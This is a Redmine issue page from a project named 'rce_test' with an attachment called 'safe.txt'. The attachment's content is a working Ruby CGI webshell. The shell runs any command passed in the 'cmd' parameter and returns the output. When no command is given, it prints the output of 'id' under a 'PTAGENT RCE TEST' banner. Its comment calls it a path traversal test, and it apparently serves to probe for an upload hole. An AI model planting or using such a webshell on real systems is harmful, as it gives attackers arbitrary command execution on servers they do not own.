⚲
Project
General
Profile
Sign in
Register
Home
Projects
Help
Search
:
rce_test
All Projects
rce_test
Overview
Activity
Issues
Wiki
Repository
Download (325 Bytes)
Bug #32
ยป safe.txt
rfc5987 -
Redmine Admin
, 06/28/2026 04:40 AM
#!/usr/bin/env ruby
# Redmine webshell - path traversal test
require 'cgi'
cgi = CGI.new
cmd = cgi['cmd']
if cmd && !cmd.empty?
puts "Content-Type: text/plain\r\n\r\n"
puts `#{cmd} 2>&1`
else
puts "Content-Type: text/html\r\n\r\n"
puts "<html><body><h1>PTAGENT RCE TEST</h1><pre>#{`id 2>&1`}</pre></body></html>"
end
(1-1/1)
Loading...